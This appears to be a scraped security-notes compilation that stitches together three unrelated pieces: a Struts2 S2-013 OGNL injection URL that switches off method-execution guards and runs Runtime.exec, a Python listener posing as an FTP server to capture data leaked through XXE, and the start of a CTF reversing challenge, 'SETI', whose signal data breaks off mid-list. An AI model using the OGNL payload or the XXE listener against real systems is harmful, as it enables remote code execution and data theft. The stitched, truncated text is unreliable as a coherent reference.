http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
```
|
sec-knowleage
|
#!/usr/bin/env python3
import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
# self.request is the TCP socket connected to the client
self.request.send(b'220 xxe-ftp-server\r\n')
self.communicating = True
while self.communicating:
cmd = self.request.recv(1024)
if len(cmd) == 0:
break
cmd = cmd.decode().rstrip()
print("> " + cmd)
if cmd.split(' ', 1)[0] == 'USER':
self.request.send(b'331 password please - version check\r\n')
else:
self.request.send(b'230 more data please!\r\n')
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 2121
server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
server.serve_forever()
|
sec-knowleage
|
# SETI
Category: Reversing, 120 Points
## Description
> Two men in black suits and sunglasses were seen visiting a famous radio-astronomer, who recently published some work on a weird and very noisy signal coming from the area of the red dwarf Gliese 388.
>
> Shorty after that, she mysteriously disappeared. The activist hacker group TTIOT obtained and published a copy of her recent research notes, which contained 2 recorded messages.
>
> The first was already preprocessed and decoded. It was "Bang, zoom, straight to the moon!".
>
> The second message was only preprocessed, but not yet decoded.
>
> Your mission, should you choose to accept it, is to decode the second message.
>
> Good Luck!
Two files were attached:
`first_signal.txt`:
```
[[[0, 0, 0, 0, 1, 0], [0, 1], [0, 0, 0, 0, 0], [0, 1, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0, 1], [1, 0, 0, 0, 0], [1, 0, 0, 0, 1], [0, 0, 0, 0, 1], [0, 1, 0, 0, 0, 1], [0, 0, 1, 0], [0, 0, 0, 1, 0], [1, 0, 0, 0, 0, 1], [0, 0, 0, 0, 1, 0]], [[0, 0, 0, 1], [1, 1, 0, 0, 0], [1, 1, 0, 0, 0, 1], [0, 0, 0], [0, 1, 1, 0, 0, 1], [1, 1, 0, 0, 1], [0, 1, 0, 0, 1], [1, 0, 0, 0, 1], [0, 1, 0, 0, 0, 1], [0, 1, 0, 0, 1], [1, 1]], [[1, 1, 1], [0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 1], [0, 1, 1, 0, 1, 1], [0, 1, 0, 1, 1, 0], [0, 1, 0, 1, 0], [0, 1, 1, 0], [0, 1, 1, 1, 1, 0], [1, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 0, 1, 0], [0, 1, 1, 1, 0], [1, 1, 0, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1], [0, 1, 1, 0, 1, 0], [1, 0, 1, 1], [1, 1, 1, 1, 1, 0], [0, 1, 1, 0, 1], [1, 0, 1, 1, 1]], [[0, 1, 1, 1, 1], [0, 1, 1, 0, 1], [0], [0, 1, 0, 1, 1, 1], [0, 0, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 1, 1, 0, 0, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1], [0, 1, 0, 0, 1, 1], [1, 1, 0, 1, 1], [1, 1, 0, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 1], [0, 0, 0, 1, 1], [1, 1, 0, 1, 1], [1, 0, 1], [0, 1, 1, 1], [1, 1, 0, 1, 1], [0, 0, 1, 1, 1], [1, 0, 0, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 1], [0, 1, 0, 1]], [[0, 1, 1, 0], [0, 1, 0, 0], [0, 0, 1, 1, 0], [0, 1, 1, 1, 0, 0], [0, 0, 1, 0, 1], [0, 1, 1], [1, 1, 0, 0], [0, 0, 0, 1, 1, 0], [0, 0, 1, 0, 0], [0, 1, 1, 1, 0, 0], [0, 0, 1, 0], [1, 0, 1, 0], [0, 0, 1, 0, 1, 0], [1, 0, 1, 0, 0], [0, 0, 1, 1, 0], [0, 1, 0], [0, 0, 0, 1, 0, 0], [0, 0, 0], [0, 1, 0, 1, 1, 0], [0, 1, 0, 1, 1, 0], [0, 0, 0, 1, 1, 0], [1, 0, 1, 1, 0, 0], [0, 0, 1, 0, 1, 0]], [[0, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 1, 0, 0], [1, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0], [0, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 0, 0]], [[0, 1, 1, 1, 0], [1, 1, 0, 1], [1, 1, 1, 1, 0, 0], [0, 1, 0], [1, 1, 1, 0], [0, 1, 1, 1, 1, 1], [1, 1, 1, 1, 0, 0], [0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 0, 0], [0, 1, 1, 1, 0, 0], [1, 1, 0, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 1, 0], [1, 1, 0, 0], [0, 1, 0], [0, 1, 1, 0], [0, 1, 1, 1, 0], [1, 0, 1, 0], [0, 1, 1, 0, 1]], [[0, 1, 1, 1, 1], [1, 0, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 1, 1, 1], [1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [1, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1, 1, 1], [0, 1, 1, 1], [1, 1, 0, 1], [1, 1, 0, 1], [0, 1, 1, 0, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 1, 1], [0, 1, 0, 1, 1], [1, 0, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 0, 1, 1, 1], [1, 1, 1], [0, 1, 0, 1], [0, 1, 1, 1, 1], [1, 0, 1, 1, 1], [1, 1, 1, 1], [1, 0, 1, 1, 1], [0, 1, 0, 1, 1], [1, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 0, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1], [1], [0, 1, 0, 1, 1, 1], [1, 0, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 1], [1, 0, 1, 1, 1], [0, 1, 1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1], [0, 1], [1, 1]], [[1, 1, 1], [0, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 0, 1], [1, 0, 1, 1], [0, 1, 1, 1], [1, 0, 1, 1], [1, 1, 0, 1, 0, 1], [1, 1, 0, 1, 0, 1], [1, 1, 1], [0, 1, 1, 0, 1, 0], [0, 1], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 1], [0, 1, 0, 1], [0, 1, 1, 0], [1, 1, 0, 1], [0, 1, 1, 0], [1, 1, 0, 1, 1, 0], [1, 1, 1, 1], [0, 1, 0, 1], [0, 1, 0, 1], [1, 1, 0], [0, 1, 0, 1, 1], [0, 1, 1, 1, 1], [1, 0, 1, 1, 0], [1, 0, 0]], [[0, 0, 0, 1, 0, 0], [0, 0, 1, 1, 0, 0], [0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0], [0, 1, 1, 0, 0], [0, 1, 0], [1, 0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 0, 1, 0, 0], [1, 1, 0], [0, 1, 0, 1, 0], [0, 0, 1, 1, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 1, 0], [0, 1, 1, 0, 0], [1, 0, 0], [0, 0, 0, 1, 1], [0, 0, 1, 0, 1], [0, 0, 1, 1], [1, 0, 1, 0, 0], [0, 0, 0, 1, 1, 0], [0, 1, 0, 0]], [[0, 0, 0, 0, 0], [0, 1, 0, 0], [0, 1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0], [0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [1, 0, 0, 0, 0]], [[0, 1, 1, 1, 0, 1], [1, 1, 1, 1], [0, 1, 1, 0], [1, 1, 1, 0, 1], [1, 1, 1, 0, 1, 1], [0, 1, 0, 0, 1], [0, 0, 0, 1], [0, 1, 1, 1], [0, 1, 0, 0, 1], [0, 1, 1, 1, 0, 1], [0, 1, 1], [1, 0, 0, 1], [0, 1, 1, 0, 1, 1], [0, 1, 1, 1], [0, 1, 1, 0, 0, 1], [1, 1, 0, 1, 1], [0, 1, 0, 0, 1], [0, 0, 1], [1, 1, 0, 1, 1], [1, 1, 1, 0], [0, 1, 0, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 0], [1, 0, 1], [0, 1, 0, 0, 1], [0, 1, 1], [0, 0, 1], [0, 1, 1, 1], [0, 1, 1, 1, 0], [0, 1, 1, 0, 1, 1]], [[1, 1, 0, 1, 0, 0], [0, 1, 1, 1, 0], [0, 1, 1, 0, 0, 0], [0, 1, 1, 1, 0], [1, 1, 0, 1, 0, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0], [1, 1, 1, 0, 0], [0, 1, 1, 0, 0, 0], [1, 0, 1, 0, 0], [0, 1, 0, 0, 0], [0, 1, 1, 1, 1, 0], [0, 1, 1, 0, 0], [1, 1, 0], [0, 1, 0, 0, 0], [0, 1, 1, 1, 0], [0, 1, 1, 0, 0], [0, 1, 0, 1, 0], [0], [1, 0, 1, 0], [0, 1, 0, 1, 0, 0], [0, 1, 1, 0, 0], [1, 1, 0, 1, 0]], [[0, 1, 0, 1], [0, 1, 0, 0, 0], [1, 1, 1, 0, 0, 0], [0, 1, 1, 1, 0, 1], [1, 1, 0, 0, 1, 0], [0, 1, 1, 0, 0, 0], [0, 1, 0, 1], [1, 1, 1, 0, 0], [1, 0], [0, 1, 1, 1, 0], [1, 1, 0, 1, 0], [1, 0], [1, 1, 0, 0, 1], [1, 1, 0, 0], [0, 1, 1, 0], [0, 0, 1, 0]], [[0, 0], [0, 1, 1, 0, 0, 0], [0, 0, 0], [0, 1, 0, 0, 0], [1, 1, 0, 0, 1], [0, 1, 0, 0, 1], [0, 1, 0, 0, 0, 1], [1, 0, 0, 0, 1], [1, 1, 0, 0], [0, 0, 0], [0, 1, 0, 0, 1], [0, 0, 1], [0, 1, 0, 0, 1], [0, 1, 0, 0, 0, 1], [1, 1, 0, 0, 0], [1, 0, 0, 0, 1]], [[0, 0, 1, 0, 0, 1], [0, 0, 0, 1], [1, 1, 0, 1, 0, 0], [0, 1, 0, 0, 1], [0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0, 1], [0, 1, 0, 0, 1], [0, 1, 1, 0, 0, 0], [0, 1, 0, 0, 0, 1], [0, 1, 0, 1, 0, 1], [0, 1, 0, 0, 0, 1], [1, 1, 1, 0], [1, 0, 1], [0, 0, 1, 0, 0], [0, 1, 0, 0, 1], [0, 1, 1, 0, 1], [1, 0, 0, 0, 1], [1, 0, 1, 0], [1, 0, 1], [0, 1, 1, 0, 0, 1], [1, 0, 1, 0, 1], [1, 1, 0, 1, 0]], [[1, 1, 0, 0, 1], [0, 1, 1, 1, 1], [1, 1, 0, 0, 1], [1, 1, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 0, 0, 1], [0, 1, 0, 1, 1], [0, 0, 1, 1, 1], [1, 1, 0, 0, 1], [0, 1, 1], [0, 1, 0, 1, 1], [0, 1, 0, 0, 1, 1], [1, 0, 0, 1, 1, 1], [0, 0, 1], [1, 1, 0, 0, 1, 1], [0, 1, 1, 0, 0, 1], [0, 0, 1, 1], [0, 1, 0, 1], [0, 1, 1, 1, 1], [1, 0, 1, 1], [0, 1, 0]], [[0, 1, 0, 0], [1, 0, 0, 0], [0, 1, 1, 1, 0, 0], [0, 0, 1, 0, 0], [1, 1, 0, 0], [1, 1, 0, 1, 0], [0, 1, 1, 0, 0], [1, 0, 1, 0, 0, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 0], [1, 1, 0, 0], [0, 0, 1, 0, 0], [0, 1, 1, 1, 0, 0], [1, 1, 0, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 0, 1, 0, 0], [1, 1, 0, 0], [], [1, 0, 1, 0], [1, 1, 0, 0, 0]], [[1, 1, 1, 0, 1, 0], [1, 1, 1, 0, 0, 0], [0, 1, 1, 1], [1, 1, 0, 0], [1, 1, 0, 1, 0], [0, 1, 1, 1], [0, 1, 0, 1, 0, 0], [1, 1, 1, 0, 1, 0], [0, 1, 0, 0], [1, 1, 0, 1, 0], [0, 1, 0, 1, 0], [0, 1, 0, 1, 0, 0], [0, 1, 1, 0], [0, 1, 1, 0, 0], [0, 1, 0, 1, 0, 0]], [[0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0], [0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0], [0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0], [0, 1, 0, 0, 0], [0, 0, 1], [0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 0, 0]], [[1, 1, 0, 0, 0], [1, 1, 1, 0, 0], [0, 1, 1, 0, 0], [1, 1, 1, 0, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0], [0, 1, 0], [0, 1, 1, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 0, 1, 0], [1, 1, 1, 0, 1, 0], [1, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 1, 0], [0, 1, 1, 0, 0]], [[0, 1, 1, 1, 1], [1, 0, 1, 1, 1], [1, 1, 0, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 0, 1, 1], [0, 0, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1], [1, 1, 1], [0, 1, 1, 1, 1]], [[0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0], [0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0], [1, 0, 0], [1, 0, 0, 0, 0]], [[0, 1, 1, 0, 1, 0], [0, 1, 1, 1], [1, 1, 0, 1, 0, 0], [1, 1, 1, 0, 0], [0, 1, 1, 1, 0, 1], [1, 0, 1, 0], [1, 1, 0, 1, 0], [0, 1, 1, 1, 0], [1, 0, 1, 0], [0, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 0], [1, 1, 1, 0, 1, 0], [0, 1, 1, 0], [0, 1, 0, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 0], [1, 1, 1, 0, 1], [0, 1, 0, 1, 0, 0], [1, 1, 1, 0, 0], [0, 1, 1, 0, 1, 0]], [[0, 1, 0, 0], [0, 1, 0, 0, 0, 0], [1, 1, 1, 0], [0, 1, 1, 0, 0, 0], [1, 0, 1, 0, 0, 0], [0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 1], [0, 1, 0, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 0], [0, 0, 1, 0, 0], [0, 1, 1, 0, 0], [0, 1, 1, 1, 0, 0], [0, 1, 0, 1, 0, 0]], [[0, 1, 0], [1, 1, 0, 1, 0], [0, 1, 1, 1, 1], [1, 1, 0, 0], [0, 1, 1, 0, 1], [0, 1, 1, 0, 0, 1], [0, 1, 0, 0, 1, 1], [0, 1, 0, 0], [0, 1, 1, 0, 0, 1], [0, 0, 1, 1], [1, 0], [0, 1, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 1, 0, 0, 0, 1], [0, 1, 1, 0, 0, 1], [1, 0], [1, 0, 0, 1, 0, 1], [0, 0, 0, 1, 0], [1, 1, 0, 0, 1, 0]], [[0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [1], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [1, 0, 0], [0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 0, 0], [0, 0, 0, 0], [0, 0, 0], [0, 0, 0], [1, 0, 0, 0, 0], [0, 0], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0], [1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 0]], [[1, 1, 0, 1, 0, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1, 1, 0], [1, 0, 1, 1, 0, 1], [0, 1, 1, 0, 1, 1], [0, 1, 1, 0], [0, 1, 0, 1, 0], [1, 0, 1, 0, 1], [0, 1, 1, 1, 0, 1], [1, 0, 1, 1, 0, 1], [1, 0, 1, 1, 0, 1], [0, 1, 1, 1], [0, 1, 0, 1, 1, 0], [1, 0, 1, 0, 1], [0, 1, 0, 1, 1], [0, 1, 1, 0, 1], [0, 1, 0, 1, 1], [0, 1, 0, 1, 0, 1], [0, 1, 1, 1, 1, 0]], [[1, 0, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1], [1, 1, 0, 1, 1], [0, 1, 1, 1], [0, 1, 0, 1, 1], [1, 0, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 0, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1, 1, 1, 1], [1, 1], [0, 1, 1, 0], [0, 1, 0, 1], [0, 1, 0, 1, 1], [1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1], [0, 1, 1, 0, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 0, 1, 1], [1, 1, 1]], [[0, 1, 1, 1, 1, 1], [0, 1, 1, 0, 1], [1, 0, 1, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1], [0, 1, 0, 1, 1, 1], [1, 1, 1], [1, 1, 0, 1], [1, 1, 1], [0, 1, 1, 1], [0, 1, 1, 0, 1, 1], [0, 1, 1, 1, 1]], [[0, 1, 1, 1], [1, 1], [1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 1, 0], [1, 1, 1, 0], [0, 1, 1, 1, 0], [0, 0, 1, 1, 0], [0, 1, 1, 0], [0, 1, 0], [0, 1, 1, 0, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 0, 1], [0, 1, 1, 0], [0, 1, 0, 1, 1, 0], [0, 1, 1, 1, 1, 0], [1, 1, 1], [0, 1, 0, 1, 1], [1, 1, 0, 1, 1, 1], [1, 1, 0], [0, 1, 1, 0, 0]], [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1], [0, 0, 1, 0, 0, 1], [0, 0, 0, 0, 1], [0, 0, 0], [0, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1], [0, 0, 0, 0], [0, 0, 1, 0, 0, 1], [0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 1], [0, 1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0, 1]]]
```
`second_signal.txt`:
```
[[[0, 0, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 0, 0, 1], [1, 0, 0, 0, 1], [0, 0, 0, 1], [0, 1, 0, 0, 1], [0, 1, 0, 0, 0, 1], [0, 0, 1], [0, 1, 0, 0, 0, 1], [0, 0, 0], [0, 1, 0, 0, 1, 1], [1, 0, 1], [0, 0, 0, 0, 1], [1, 0, 0, 0, 0, 1], [0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 0, 1], [0, 1, 0, 0, 0, 1], [0, 1, 0, 0, 1], [0, 1, 0, 0, 0, 0], [1, 0, 0, 0, 0, 1], [1, 0, 0, 0], [0, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 0, 1], [0, 0, 0, 0, 1]], [[0, 1, 1, 0, 1], [0, 0, 1, 1], [0, 1, 1, 1], [0, 0, 1, 0, 0], [1, 0, 1, 0, 1], [1, 0, 1], [1, 0, 1, 0, 1, 1], [0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 0, 1, 0, 1], [0, 1, 0, 1, 0, 1], [0, 1, 1, 1], [0, 1, 1, 0, 0, 1], [1, 0, 0, 1], [0, 0, 0, 1], [1, 0, 0, 1], [0, 1, 0, 0, 1, 1], [1, 1, 0, 0, 1, 1], [1, 0, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 1], [1, 0, 1, 0, 1, 1], [0, 1, 0], [1, 1, 0, 1], [0, 1, 0, 0, 1], [0, 1, 0, 0, 0, 1], [1, 1], [0, 1, 0, 1, 0, 0]], [[1, 0, 0, 0, 0], [0, 0, 0, 0, 1], [1, 0, 0, 0, 1], [0, 0, 0, 0, 1], [0, 1, 0, 0, 1], [0, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 1], [1, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 0, 1], [1, 0, 0, 0], [0, 1, 0, 0, 1], [1, 0, 0, 0, 0, 1], [1, 0, 0, 0, 1], [0, 0, 0, 1], [0, 1, 0, 0, 0, 1], [0, 1, 0, 0, 0, 0], [0, 0, 0, 1], [1, 0, 0, 0, 0]], [[0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 1], [0, 1, 1], [1, 1, 0, 1], [0, 1, 1, 1, 0, 1], [0, 1, 0], [1, 1, 1, 0, 1, 1], [1, 1, 1, 1], [1, 1, 1, 0, 1, 1], [0, 1, 0], [1, 1, 1, 1, 0, 1], [0, 1, 1, 0, 1], [1, 1, 1, 1, 1], [0, 1, 0, 1, 1], [1, 1, 1], [0, 1, 1, 0, 1]], [[0, 1, 0, 1, 0], [0, 0, 0, 1, 0, 0], [0, 1, 0], [0, 1, 0, 0, 1, 1], [0, 0, 1, 1, 0], [0, 1, 0, 0], [1, 0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 0, 1], [0, 1, 0, 1, 0], [0, 1, 1], [0, 1, 1, 1, 0], [0, 0, 1, 1, 0], [0, 0, 0, 1, 0], [1, 0, 0, 1, 0], [0, 1, 0, 0, 1, 1], [0, 1, 0, 0, 1, 0], [0, 0, 1], [0, 1, 1, 1], [0, 1, 0, 1, 0, 0], [0, 0, 1, 1, 0], [0, 1, 0, 1, 1, 0]], [[1, 1, 0, 0], [0, 0, 1, 0, 0, 1], [1, 1, 0, 1], [0, 1, 0, 1], [0, 0, 1, 1], [0, 0, 1, 0], [0, 0, 0, 0, 0, 1], [0, 1, 1, 0, 1], [0, 1, 1, 0, 0, 1], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0, 1], [0, 1, 1, 0, 1], [0, 0, 1, 0, 0], [0, 0, 0, 0], [0, 0, 0, 1], [0, 1, 1, 0, 0], [1, 1, 0, 1], [1, 1, 0, 0, 0], [0, 0, 0, 1], [0, 1, 1, 0, 0, 0], [0, 1, 1, 0, 0], [0, 0, 1, 0, 0], [0, 1, 0], [0, 1, 1, 0, 0], [1, 0, 0, 1], [1, 1, 0], [0, 1, 1, 1], [0, 0, 0, 0]], [[0, 1, 0, 0], [1, 0, 0, 0], [1, 1, 1, 0, 0], [0, 1, 0, 0], [0, 1, 1, 0, 0, 0], [0, 1, 0, 0], [0, 1, 0], [1, 1, 0, 1, 0, 0], [1, 1, 0, 1, 0, 0], [0, 1, 1, 1, 0, 0], [0, 0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 1, 1, 0, 1, 0], [0, 0, 1, 0], [0, 1, 0, 0], [1, 1, 0, 1, 0], [1, 0, 0], [1, 1, 0, 0, 0], [0, 1, 0, 1, 0], [1, 0, 1, 0], [0, 1, 0, 1, 0, 0], [0, 1, 1, 0], [1, 1, 1, 0, 1, 0], [1, 0, 0], [1, 1, 0, 0], [1, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 0], [0, 1, 0, 0, 0], [0, 1, 1, 1, 0, 0], [1, 0, 0]], [[0, 1, 1, 0, 1, 0], [0, 1, 1, 1, 0], [0, 1, 1, 1, 1, 0], [0, 1, 0, 0], [0, 1, 0, 1, 0], [0, 1, 1], [1, 1, 0, 1], [0, 1, 0, 0, 0], [1, 1, 0], [0, 1, 1, 0, 1, 0], [0, 1, 1, 0, 0], [1, 1, 0, 1, 0], [1, 1, 1, 0, 0], [0, 1, 1, 1, 1, 0], [0, 1, 0, 0]], [[1, 0, 0, 1, 1], [0, 0, 1, 1, 0], [0, 0, 1], [0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 1], [0, 1, 0, 0], [0, 1, 0, 0, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 1, 1], [0, 1, 0, 1, 1, 0], [0, 1, 0, 0], [1, 0, 1], [1, 0, 0, 0], [1, 0, 0, 1, 1, 0], [0, 1, 1, 1, 0, 0], [1, 0, 1, 1, 0, 0], [1, 0, 1, 1, 0, 0], [1, 0, 1, 1], [1, 0, 0, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0], [1, 1, 1, 0, 0]], [[0, 1, 0, 1, 1], [0, 0, 1, 1, 0, 1], [0, 0, 0, 1], [0, 0, 1, 0, 0, 1], [0, 1, 1, 0, 0, 1], [0, 0, 1, 1, 1], [0, 0, 1, 1, 0, 1], [1, 0, 1, 1], [0, 0, 1, 0, 0, 1], [0, 1, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 0, 1, 1, 0], [0, 1, 1, 0, 1, 1], [0, 1, 1, 0, 0, 1], [1, 0, 1], [0, 1, 1, 0], [0, 0, 1, 0], [0, 1, 1, 0, 0, 1], [0, 1, 0, 0, 1, 1], [0, 0, 0, 1]], [[0, 0, 1, 1, 1, 1], [0, 1, 1, 1], [0, 0, 1, 1, 1], [0, 1, 1, 1], [0, 1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1, 1], [1, 1, 1, 1, 1], [1, 1, 1, 1, 1], [1, 0, 1], [0, 1, 0, 1, 1, 1], [1, 0, 1, 1, 1], [0, 0, 1, 1, 1], [0, 0, 1, 1, 1, 1], [0, 0, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 1, 1, 1], [0, 1, 0, 1, 1, 1]], [[0, 0, 1, 0, 0], [0, 0], [0, 0, 0], [1, 1, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 0], [0, 1, 0, 0, 0, 0], [0, 1, 1, 0], [1, 0, 0, 0], [0, 1, 0, 0, 0, 0], [1, 0, 1, 0, 0, 0], [0, 1, 0, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0], [1, 0, 1, 0, 0, 0], [0, 1, 1, 0, 0]], [[0, 0, 1, 0, 1], [0, 1, 1], [1, 1, 0, 1, 1], [0, 1, 0, 0, 1, 1], [0, 1, 1, 0, 0, 1], [1, 1, 0, 0, 1, 1], [0, 1, 0, 1], [0, 1, 0, 0, 1, 1], [0, 0, 0, 1], [0, 0, 1, 1, 1], [0, 0, 0, 1], [0, 0, 1, 0, 0, 1], [0, 0, 1, 1], [0, 0, 1, 1, 0, 1], [0, 0, 1, 0, 1], [0, 0, 1, 0, 1, 1], [0, 1, 0, 1, 1], [0, 1, 1, 1], [1, 1, 0, 1, 1], [0, 0, 1, 0, 1], [0, 0, 1, 0, 0, 1]], [[0, 0, 1, 0], [0, 0, 1, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 0, 0, 0, 0], [1, 0], [0, 0, 1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0], [0, 1], [0, 0, 1, 0, 0], [0, 1, 1, 0, 